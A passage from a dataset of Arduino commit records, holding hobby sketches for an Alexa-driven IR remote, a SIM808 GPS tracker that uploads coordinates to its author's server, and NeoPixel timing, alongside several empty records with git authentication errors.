irsend.sendNEC(VacuumPOWER_ON, MIELE_BITS); \n }\n break;\n case 'p':\n {\n Serial.println(\"VacuumCleaner Corner, sending\");\n irsend.sendNEC(VacuumCorner, MIELE_BITS); \n }\n break;\n case 'q':\n {\n Serial.println(\"VacuumCleaner Go, sending\");\n irsend.sendNEC(VacuumGO, MIELE_BITS); \n }\n break;\n case 'r':\n {\n Serial.println(\"VacuumCleaner Base, sending\");\n irsend.sendNEC(VacuumBase, MIELE_BITS); \n }\n break;\n\n default:\n Serial.println(\"Default\");\n\n } \/\/End case\ndigitalWrite(Indicator_PIN, LOW);\nValueforIRcodes = 'z'; \/\/Resetter v\u00e6rdien.\ndelay(200); \/\/LED will light a bit longer\n}\n\n\n\/* Here comes all the code for Alexa to do \n * the requered instructions.\n * Jump to serialCase with parameter. This will send the IR code\n *\/\n\n\/* Samsung TV *\/\nvoid SamsungTVOn() { SerialCase(1); }; \/\/Samsung TV on\/off\nvoid SamsungMuteOn() { SerialCase(2); }; \/\/Samsung TV Mute\nvoid SamsungChannelUp() { SerialCase(3); }; \/\/Samsung TV Channal up\nvoid SamsungChannelDown(){ SerialCase(4); }; \/\/Samsung TV Channal Down\nvoid SamsungVolumeUp() { SerialCase(5); }; \/\/Samsung TV Volume up\nvoid SamsungVolumeDown() { SerialCase(6); }; \/\/Samsung TV Volume down\nvoid SamsungCH1On() { SerialCase(7); }; \/\/Samsung TV Ch 1\nvoid SamsungCH2On() { SerialCase(8); }; \/\/Samsung TV Ch 2\nvoid SamsungCH3On() { SerialCase(9); }; \/\/Samsung TV Ch 3\n\n\/* Marantz *\/\nvoid AmplifierOn() { SerialCase('a'); }; \/\/Amplifier ON\nvoid AmplifierOff() { SerialCase('b'); }; \/\/Amplifier OFF\nvoid AmplifierVolumeUp() { SerialCase('c'); }; \/\/Amplifier volume up\nvoid AmplifierVolumeDown() { SerialCase('d'); }; \/\/Amplifier volume down\nvoid AmplifierAuxOn() { SerialCase('e'); }; \/\/Amplifier Aux input\nvoid AmplifierTunerOn() { SerialCase('f'); }; \/\/Amplifier Tuner input\nvoid AmplifierTvOn() { SerialCase('g'); }; \/\/Amplifier TV input\nvoid AmplifierDVDOn() { SerialCase('h'); }; \/\/Amplifier DVD input\nvoid AmplifierScourceUp() { SerialCase('i'); }; \/\/Amplifier Source up\nvoid AmplifierScourceDown(){ SerialCase('j'); }; \/\/Amplifier Source up\nvoid AmplifierMuteOn() { SerialCase('k'); }; \/\/Amplifier Mute toggle\nvoid AmplifierMuteOff() { SerialCase('l'); }; \/\/Amplifier Mute toggle\n\n\/* Mile *\/\nvoid VacuumCleanerOn() { SerialCase('o'); }; \/\/Vaccum Cleaner toggle ON\/OFF\nvoid VacuumCleanerCornerOn(){ SerialCase('p'); }; \/\/Corners ON\nvoid VacuumCleanerGoOn() { SerialCase('q'); }; \/\/Go Go Go\nvoid VacuumCleanerBaseOn() { SerialCase('r'); }; \/\/Return to home\n\n\n\n\/\/ Heres comes the Wifi connect part\n\/\/ connect to wifi \u2013 returns true if successful or false if not\nboolean connectWifi(){\n boolean state = true;\n int i = 0;\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n Serial.println(\"Connecting to WiFi\");\n \n \/\/ Wait for connection\n Serial.print(\"Connecting ...\");\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n if (i > 10){\n state = false;\n break;\n }\n i++;\n }\n \n if (state){\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n long rssi = WiFi.RSSI();\n Serial.print(\"RSSI:\");\n Serial.println(rssi);\n \n }\n else {\n Serial.println(\"\");\n Serial.println(\"Connection failed.\");\n digitalWrite(Green_LED, LOW); \/\/ Everything is not OK ...pls repeat the start sequence again\n }\n \n return state;\n} \/\/ End boolean connectWifi\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IRsenderForAlexa-5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc65692569672854b75e498f744055a9adc4c9d0","subject":"changing parameters may also lead to akward situations \u2026","message":"changing parameters may also lead to akward situations \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a4f4a316a3583d4c165a9defab99035e51b7d999","subject":"why doesn't the start pin work??","message":"why doesn't the start pin work??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"08ce567185de320f2a17be4bf4aad825ae6ff418","subject":"Did a ton of stuff","message":"Did a ton of stuff\n","repos":"Annath\/bamboo-monitor","old_file":"neopixel_indicator\/neopixel_indicator.ino","new_file":"neopixel_indicator\/neopixel_indicator.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Annath\/bamboo-monitor.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d573d7c8706fe28215996678737bf8bd46f4f258","subject":"Fuck the police","message":"Fuck the police\n","repos":"c-dante\/glowbrella,c-dante\/glowbrella,c-dante\/glowbrella","old_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/c-dante\/glowbrella.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1934883f284995f925046801471768c28402ac47","subject":"Working integration of byte-reading into main code body","message":"Working integration of byte-reading into main code body\n\nIntegration of byte communication testing code into main body of code.","repos":"dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean","old_file":"nb_ocean\/_master.ino","new_file":"nb_ocean\/_master.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dkadish\/nuit_blanche_ocean.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"905a530932c6c9122942b6c73e39235433aea18a","subject":"Moved the irrigation program to a separate section (function)","message":"Moved the irrigation program to a separate section (function)\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"85a88376a5c2091d62a37baeda6a8169541448fb","subject":"Delete DTH33.ino","message":"Delete DTH33.ino","repos":"sbushnell\/SmartThings_DHT33","old_file":"firmware\/DTH33.ino","new_file":"firmware\/DTH33.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sbushnell\/SmartThings_DHT33.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"065244c3b08b4a9397f225c2b14fd0ef2f147cc4","subject":"First version","message":"First version\n\nContain correct print of GPS, but no communicate with server right yet","repos":"marcelky\/GPS-proj,marcelky\/GPS-proj","old_file":"test_configSIM808.ino","new_file":"test_configSIM808.ino","new_contents":"#include <DFRobot_sim808.h>\n#include <sim808.h>\n#include <SoftwareSerial.h>\n#include <string.h>\n#include <SimpleTimer.h>\n#define rxPin 2\n#define txPin 3\nSoftwareSerial GPRS(rxPin, txPin); \/\/ RX, TX\n\/\/DFRobot_SIM808 sim808(&GPRS);\nSimpleTimer timer;\n\nstatic String sendersnumber;\nchar* key;\nString gpsMode;\nString latitude;\nString north_south;\nString longitude;\nString east_west;\nString positionFix;\nString numSatelite;\nString hdop;\nString altitude;\nString altitudeUnit;\nString geoid;\nString geoid_unit;\nString dateTime;\nString tiff;\nString Speed;\nString course;\nchar data2db[]=\"410.869,111.222\";\nbyte pos = 0; \/\/WHAT POSITION WE ARE AT IN THAT BUFFER\n\/\/my variables MKY\n\/\/const int BUFFER_SIZE = 110;\nconst int BUFFER_SIZE = 110;\nboolean matchLocationMessage = true;\nString content = \"\";\nchar character;\nchar bufferTCP[10];\nchar bufferSerial[BUFFER_SIZE]; \/\/ CREATE THIS BUFFER IN ORDER TO READ SERIAL AT ONCE\nchar infoLocation[BUFFER_SIZE]; \nchar buffer[20]; \/\/ WHAT WE ARE READING INTO\nint posTemp;\nint posBuf;\nint seconds=0;\nint Powerkey=6; \/\/Power pin for SIM808\n\nenum _parseState \n{\n PS_DETECT_NEW_LINE, \/\/first byte to init sync\n PS_READ_GPS_MODE,\n PS_READ_TIME, \n PS_READ_LATITUDE,\n PS_READ_NORTH_SOUTH, \n PS_READ_LONGITUDE,\n PS_READ_EAST_WEST,\n PS_READ_POSITION_FIX,\n PS_READ_NUM_SAT,\n PS_READ_HDOP,\n PS_READ_ALTITUDE,\n PS_READ_ALT_UNIT,\n PS_READ_GEOID_SEPARATION,\n PS_READ_GEOID_UNIT,\n PS_READ_TTFF,\n PS_READ_SPEED,\n PS_READ_COURSE,\n PS_DETECT_MSG_TYPE,\n PS_IGNORING_COMMAND_ECHO,\n PS_READ_CMTI_STORAGE_TYPE,\n PS_READ_CMTI_ID, \n PS_READ_CMGR_DATE,\n PS_READ_GPS_STATUS, \n PS_DETECT_MSG_TYPE2,\n PS_IGNORING_COMMAND_ECHO2,\n PS_READ_CMGR_CONTENT,\n PS_READ_CMGR_NUMBER,\n PS_READ_CMGR_SOMETHING\n};\nbyte state = PS_DETECT_NEW_LINE; \/\/PS_DETECT_MSG_TYPE; \n\n\n\/*******************************************************************************************\n * function setup()\n * This function run once at start up of processor, here is made the configuration of \n * UNO and SIM808.\n *******************************************************************************************\/\nvoid setup()\n{\n GPRS.begin(9600); \/\/Set Uno serial connection with SIM808 \n Serial.begin(9600); \/\/Set Uno serial connection with Arduino IDE\n\n \/*while(!sim808.init(GPRS,9600)) { \n delay(1000);\n Serial.print(\"Sim808 init error\\r\\n\");\n }\n Serial.println(\"Sim808 init success\");\n Serial.println(\"Start to call ...\");\n *\/\n sim808_init(&GPRS,9600);\n \n GPRS.println(\"AT+CPOWD=1\"); \n delay(10000);\n pinMode(Powerkey, OUTPUT); \/\/ initialize the digital pin as an output. \n power(); \/\/ power on the sim808 or power down the sim808 \n\n Serial.println(\"reseting\");\n delay(60000);\n\n \/******************************************************\n * GPS Configuration\n ******************************************************\/\n \/\/GNSS power control\n GPRS.println(\"AT+CGNSPWR=1\");\n delay(290);\n \/\/GNSS navitation, GEO-Fence and speed alarm URC report control\n GPRS.println(\"AT+CGNSURC=0\");\n delay(300);\n\n \/\/Select SMS message format\n \/*GPRS.println(\"AT+CMGF=1\"); \n delay(300);*\/\n\n\n \/\/GSM and GPRS configuration\n \/\/check which network GPRS module is connected with \n GPRS.println(\"AT+COPS?\");\n \/\/check if mobile number is register in the network\n GPRS.println(\"AT+CREG=?\");\n \/\/check if GPRS module is registered\n GPRS.println(\"AT+CGREG=?\");\n \/\/GSM Service's status\n GPRS.println(\"AT+CGATT?\");\n \/\/\n GPRS.println(\"AT+GSV\");\n \/\/set the data rate of gprs\n \/\/GPRS.println(\"AT+IPR=9600\");\n if(!sim808_check_with_cmd(\"AT+IPR=9600\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+IPR=9600 => FAIL\"); \n }else Serial.println(\"AT+IPR=9600 => OK\");\n \n \/\/Set the APN id to connect to gprs network\n \/\/GPRS.println(\"AT+CSTT=\\\"UNINET\\\"\");\n if(!sim808_check_with_cmd(\"AT+CSTT=\\\"UNINET\\\"\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+IPR => FAIL\"); \n }else Serial.println(\"AT+IPR => OK\");\n \n \/\/bring up the wireless connection\n \/\/GPRS.println(\"AT+CIICR\");\n if(!sim808_check_with_cmd(\"AT+CIICR\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CIICR => FAIL\"); \n }else Serial.println(\"AT+CIICR => OK\");\n \n \/\/get the local ip number\n \/\/GPRS.println(\"AT+CIFSR\");\n if(!sim808_check_with_cmd(\"AT+CIFSR\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CIFSR => FAIL\"); \n }else Serial.println(\"AT+CIFSR => OK\");\n \n \/\/Get the remote IP address\n \/\/GPRS.println(\"AT+CDNSGIP=\\\"ardugps.hopto.org\\\"\");\n if(!sim808_check_with_cmd(\"AT+CDNSGIP=\\\"ardugps.hopto.org\\\"\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CDNSGIP => FAIL\"); \n }else Serial.println(\"AT+CDNSGIP => OK\"); \n \n \n \/\/GPS configuration\n GPRS.println(\"AT\");\n delay(50);\n \n GPRS.println(\"AT+CGPSPWR=1\"); \/\/POWER ON of GPS interface\n \/\/SerialSim808_Read();\n delay(50);\n \n GPRS.println(\"AT+CGPSRST=1\"); \/\/1 = HOT start of GPS or COLD start = 0\n \/\/SerialSim808_Read();\n delay(50);\n \n GPRS.println(\"AT+CGPSSTATUS?\");\n \/\/ SerialSim808_Read();\n delay(50);\n\n\n\n \/\/GPRS.println(\"AT+CGPSINF=0\"); \n \/\/SerialSim808_Read();\n\n timer.setInterval(60000, GetGPSLocation);\n \/\/timer.setInterval(1000, PrintSecondsElapsed);\n}\n\n\n\/*******************************************************************************************\n * function loop()\n * This function keep running in loop, it is the main function which tasks of UNO are placed.\n *******************************************************************************************\/\nvoid loop()\n{\n timer.run();\n\n\/\/Only for debug purpose, send directly the AT command manually via serial interface\n if(GPRS.available())\n Serial.write(GPRS.read());\n if(Serial.available())\n GPRS.write(Serial.read());\n\n}\n\n\n\/****************************************************************************************\n * power()\n * Function power on or power of SIM808.\n ****************************************************************************************\/\nvoid power(void)\n{\n digitalWrite(Powerkey, LOW); \n delay(1000); \/\/ wait for 1 second\n digitalWrite(Powerkey, HIGH);\n}\n\n\/****************************************************************************************\n * GetGPSLocation()\n * This function request the GPS information from SIM808, parse information in global \n * variables and finally print the information at Serial interface for debugging.\n ****************************************************************************************\/\nvoid GetGPSLocation(){\n while(GPRS.available()){\n GPRS.read();\n } \n GPRS.println(\"AT+CGPSINF=2\");\n \n \/\/Read response of SIM808 at Serial Port, Uno buffer all data without other activities\n \/\/otherwise it may lose some bytes \n \/\/after send the command to GPS, it takes about 100ms to all serial information arrives UNO \n \/\/delay(50);\n \n posBuf=0;\n int i = 0;\n \/\/for(int i=0;i<7;i++){\n while((posBuf<=99)&&(i<15)){ \n while((GPRS.available()>0)){\n infoLocation[posBuf++]=GPRS.read();\n }\n delay(10);\n i++;\n \/\/delay(15); \n }\n \/\/Serial.print(\"valor i= \");\n \/\/Serial.println(i);\n\n \/\/Copy buffered information in GPRS serial port and the last position of array.\n strcpy(bufferSerial,infoLocation);\n posTemp = posBuf;\n resetInfoLocationBuffer(); \/\/clean the just received data in the GPRS buffer\n\n \/\/Serial.print(\"Buffer state after CGPSINF=0 : \");\n \/\/Serial.println(bufferSerial);\n\n \/\/exit condition for parse the GPS location\n matchLocationMessage = true;\n\n \/\/parse each character of buffer to extract GPS information\n for(int i =0; i<posTemp; i++){\n if(matchLocationMessage==true){\n GPSAnalyzer(bufferSerial[i]);\n }\n }\n\n SendGPSLocation();\n}\n\n\nvoid resetBuffer() \n{\n memset(buffer, 0, sizeof(buffer));\n \/\/Serial.print(\"Valor do pos: \");\n \/\/Serial.println(pos);\n pos = 0;\n}\/\/BASICALLY TO RESET THE BUFFER\n\nvoid resetInfoLocationBuffer() \n{\n memset(infoLocation, 0, sizeof(buffer));\n posBuf = 0;\n}\/\/BASICALLY TO RESET THE BUFFER\n\nvoid PrintSecondsElapsed(){\n Serial.print(\"******************Seconds : \");\n Serial.println(seconds);\n seconds++;\n} \n\n\nvoid SendGPSLocation(){\n\n \/\/start a connection to TCP to URL and port \n \/\/get the local ip number\n \/\/GPRS.println(\"AT+CIFSR\");\n if(!sim808_check_with_cmd(\"AT+CIFSR\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CIFSR => FAIL\"); \n }else Serial.println(\"AT+CIFSR => OK\");\n \n \/\/Get the remote IP address\n \/\/GPRS.println(\"AT+CDNSGIP=\\\"ardugps.hopto.org\\\"\");\n if(!sim808_check_with_cmd(\"AT+CDNSGIP=\\\"ardugps.hopto.org\\\"\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CDNSGIP => FAIL\"); \n }else Serial.println(\"AT+CDNSGIP => OK\"); \n \n \/\/GPRS.println(\"AT+CIPSTART=\\\"TCP\\\",\\\"ardugps.hopto.org\\\",6789\");\n if(!sim808_check_with_cmd(\"AT+CIPSTART=\\\"TCP\\\",\\\"ardugps.hopto.org\\\",6789\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CIPSTART => FAIL\"); \n }else Serial.println(\"AT+CIPSTART => OK\");\n \n \/\/Send data to remote connection\n \/\/GPRS.println(\"AT+CIPSEND\"); \n if(!sim808_check_with_cmd(\"AT+CIPSEND\\r\\n\",\"\\>\\r\\n\",CMD)){ \n Serial.println(\"AT+CIPSEND => FAIL\"); \n }else Serial.println(\"AT+CIPSEND => OK\"); \n\n GPRS.write(data2db);\n \/\/sim808_send_cmd(data2db);\n \/\/Equivalent to sending Ctrl+Z\n \/\/GPRS.write(char(26)); \n \/\/delay(3000);\n delay(500);\n sim808_send_End_Mark();\n \/*if(!sim808_wait_for_resp(\"OK\\r\\n\", CMD)){ \n Serial.println(\"AT+CIPSEND EndMark => FAIL\"); \n }else Serial.println(\"AT+CIPSEND EndMark => OK\"); *\/\n \n \/\/Close remote connection\n \/*GPRS.println(\"AT+CIPCLOSE\");\n if(!sim808_check_with_cmd(\"AT+CIPCLOSE\\r\\n\",\"\\>\\r\\n\",CMD)){ \n Serial.println(\"AT+CIPCLOSE => FAIL\"); \n }else Serial.print(\"AT+CIPCLOSE => OK\"); *\/\n \n\n\n\/* \/\/************ Successful DHCP ****************\n Serial.print(\"IP Address is \");\n Serial.println(sim808.getIPAddress());\n\n \/\/*********** Establish a TCP connection ************\n if(!sim808.connect(TCP,\"ardugps.hopto.org\", 6789)) {\n Serial.println(\"Connect error\");\n }else{\n Serial.println(\"Connect mbed.org success\");\n }\n \/\/*********** Send a GET request *****************\n\n \n \/*strcat(data2db,latitude);\n strcat(data2db,\",\");\n strcat(data2db,longitude);\n *\/\n \n\n \n \/* Serial.println(\"waiting to fetch...\");\n sim808.send(data2db, sizeof(data2db)-1);\n \/*while (true) {\n int ret = sim808.recv(bufferTCP, sizeof(bufferTCP)-1);\n if (ret <= 0){\n Serial.println(\"fetch over...\");\n break; \n }\n bufferTCP[ret] = '\\0';\n Serial.print(\"Recv: \");\n Serial.print(ret);\n Serial.print(\" bytes: \");\n Serial.println(bufferTCP);\n break;\n }*\/\n \/*delay(10);\n\n \/\/************* Close TCP or UDP connections **********\n sim808.close();\n\n \/\/*** Disconnect wireless connection, Close Moving Scene *******\n \/\/sim808.disconnect(); *\/\n \n}\n\n\n\n\n\n\/\/ =====================================================================\n\/\/ Analyze the Serial information received after request the information\n\/\/ AT+CCPSINF=2\n\/\/ =====================================================================\n\/\/AT+CGPSINF=2, get GPS location with format\n\/\/Message ID = 2\n\/\/UTC time = [hhmmss.sss]\n\/\/Latitude = [+\/-[0dd.dddd]]\n\/\/N\/S indicator = [N\/S]\n\/\/Longitude = [+\/-[0ddd.dddd]]\n\/\/E\/W indicator = [W\/E]\n\/\/Position fix = 1\n\/\/Satellites used = range 0 to 12\n\/\/HDOP = x.xx\n\/\/MSL Altitude = xxx.x\n\/\/Units = M\n\/\/Geoid Separation = xxx\n\/\/Units = M\nvoid GPSAnalyzer(byte b) {\n\n if ((b != ',')){\n buffer[pos++] = b;\n }\n \n if ( pos >= sizeof(buffer) )\n resetBuffer();\/\/ just to be safe\n \n \/\/Serial.println(buffer);\n \/\/Serial.println(state);\n \n switch (state) \n {\n case PS_DETECT_NEW_LINE:\n {\n \/\/if(b == '\\n'){\n if(b == '+'){ \n resetBuffer();\n state = PS_DETECT_MSG_TYPE2;\n }\n }\n break;\n \n case PS_DETECT_MSG_TYPE2: \n {\n if ((b == '\\n'))\n resetBuffer();\n else { \n if ( pos == 8 ) {\n \/\/Serial.print(\"Checking message type: \");\n if ( strcmp(buffer, \"UGNSINF:\") ) {\n \/\/Serial.println(\"Received CGNSINF:\"); \n state = PS_READ_GPS_MODE;\n resetBuffer();\n }\n else{\n resetBuffer();\n state = PS_DETECT_NEW_LINE;\n matchLocationMessage = false;\n }\n }\n }\n }\n break;\n\n\/\/THIS WOULD READ FROM +CGNSINF: (TO THE COMMA),\n case PS_READ_GPS_MODE:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n if ( b == ',' ) {\n Serial.println(\"************************************************************ \"); \n Serial.print(\"CGPSINF_MODE : \");\n Serial.println(buffer);\n gpsMode=buffer;\n \/\/state = PS_READ_LONGITUDE;\n state = PS_READ_TIME;\n resetBuffer();\n }\n }\n }\n break;\n\n case PS_READ_TIME:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n if ( b == ',' ) {\n Serial.print(\"TIME : \");\n Serial.println(buffer);\n dateTime=buffer;\n \/\/state = PS_READ_TTFF;\n state = PS_READ_LATITUDE;\n resetBuffer();\n }\n }\n }\n break; \n \n case PS_READ_LATITUDE:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n \n if ( b == ',' ) {\n Serial.print(\"LATITUDE : \");\n Serial.println(buffer);\n latitude=buffer;\n state = PS_READ_NORTH_SOUTH;\n resetBuffer();\n }\n }\n }\n break; \n\n case PS_READ_NORTH_SOUTH:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n if ( b == ',' ) {\n Serial.print(\"N\/S indicator : \");\n Serial.println(buffer);\n north_south=buffer;\n state = PS_READ_LONGITUDE;\n resetBuffer();\n }\n }\n }\n break; \n\n case PS_READ_LONGITUDE:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"LONGITUDE : \");\n Serial.println(buffer);\n longitude=buffer;\n \n \n state = PS_READ_EAST_WEST;\n resetBuffer();\n }\n }\n }\n break;\n\n\n\n case PS_READ_EAST_WEST:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n if ( b == ',' ) {\n Serial.print(\"E\/W indicator : \");\n Serial.println(buffer);\n east_west=buffer;\n state = PS_READ_POSITION_FIX;\n resetBuffer();\n }\n }\n }\n break;\n\n\n\n case PS_READ_POSITION_FIX:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else {\n if ( b == ',' ) {\n Serial.print(\"POSITION FIX : \");\n Serial.println(buffer);\n positionFix=buffer; \n state = PS_READ_NUM_SAT;\n resetBuffer();\n \/\/delay(500); don't do this!\n }\n }\n }\n break;\n\n case PS_READ_NUM_SAT:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"NUM SATELLITE : \");\n Serial.println(buffer);\n numSatelite=buffer;\n state =PS_READ_HDOP;\n resetBuffer();\n \n }\n }\n }\n break;\n\n case PS_READ_HDOP:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"HDOP : \");\n Serial.println(buffer);\n hdop=buffer;\n state =PS_READ_ALTITUDE;\n resetBuffer();\n \n }\n }\n }\n break;\n\n case PS_READ_ALTITUDE:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"ALTITUDE : \");\n Serial.println(buffer);\n altitude=buffer;\n state =PS_READ_ALT_UNIT;\n resetBuffer();\n \n }\n }\n }\n break;\n \n case PS_READ_ALT_UNIT:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"ALTITUDE unit : \");\n Serial.println(buffer);\n altitudeUnit=buffer;\n state =PS_READ_GEOID_SEPARATION;\n resetBuffer();\n \n }\n }\n }\n break;\n\n case PS_READ_GEOID_SEPARATION:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"GEOID SEP. : \");\n Serial.println(buffer);\n geoid=buffer;\n state =PS_READ_GEOID_UNIT;\n resetBuffer();\n \n }\n }\n }\n break;\n\n\n case PS_READ_GEOID_UNIT:\n {\n if ( b== '\\n'){\n state = PS_DETECT_NEW_LINE;\n resetBuffer();\n }\n else { \n if ( b == ',' ) {\n Serial.print(\"GEOID SEP. unit: \");\n Serial.println(buffer);\n geoid_unit=buffer;\n state =PS_DETECT_NEW_LINE;\n resetBuffer();\n matchLocationMessage = false;\n \n }\n }\n }\n break;\n \n \/\/use goto to put it at sms begining\n }\n \/\/return;\n } \n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_configSIM808.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3267ffd2c700336491f31c33989a5438b30d119","subject":"Neopixels","message":"Neopixels\n","repos":"theapi\/craniosacral","old_file":"neopixel\/neopixel.ino","new_file":"neopixel\/neopixel.ino","new_contents":"\/**\n * https:\/\/learn.adafruit.com\/adafruit-neopixel-uberguide\/overview\n *\/\n \n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n#include <Adafruit_NeoPixel.h>\n\n#define NUM_PIXELS 16\n#define PIN_NEO 3\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_PIXELS, PIN_NEO, NEO_GRB + NEO_KHZ800);\n\n\n\nvoid setup() \n{\n strip.begin();\n \n for (byte n = 0; n < NUM_PIXELS; n++) {\n strip.setPixelColor(n, 0, 0, 0);\n }\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n}\n\nvoid loop() \n{\n show_cri();\n show_midtide();\n show_longtide();\n}\n\n\/**\n * 8 - 14 cycles per minute (11)\n * \n * 11 * 16 = 176 pixels per minute\n * 176 \/ 60 = 2.93 pixels per second\n * 1000 \/ 2.933333 = 340.9\n * so an interval of 341\n *\/\nvoid show_cri() {\n static unsigned long last = 0; \n static long interval = 341; \n \n unsigned long now = millis();\n if (now - last > interval) {\n last = now; \n for (byte n = 0; n < NUM_PIXELS; n++) {\n strip.setPixelColor(n, 255, 0, 0);\n }\n strip.show();\n }\n}\n\n\/**\n * 2 - 2.5 cycles per minute (2.25)\n * \n * 2.25 * 16 = 36 pixels per minute\n * 36 \/ 60 = 0.6 pixels per second\n * 1000 \/ 0.6 = 1666.666\n * so an interval of 1667\n *\/\nvoid show_midtide() {\n static unsigned long last = 0; \n static long interval = 1667; \n \n unsigned long now = millis();\n if (now - last > interval) {\n last = now; \n for (byte n = 0; n < NUM_PIXELS; n++) {\n strip.setPixelColor(n, 0, 255, 0);\n }\n strip.show();\n }\n}\n\n\/**\n * 100 seconds per cycle\n * 100 \/ 16 = 6.25 seconds per pixel\n * so an interval of 6250\n *\/\nvoid 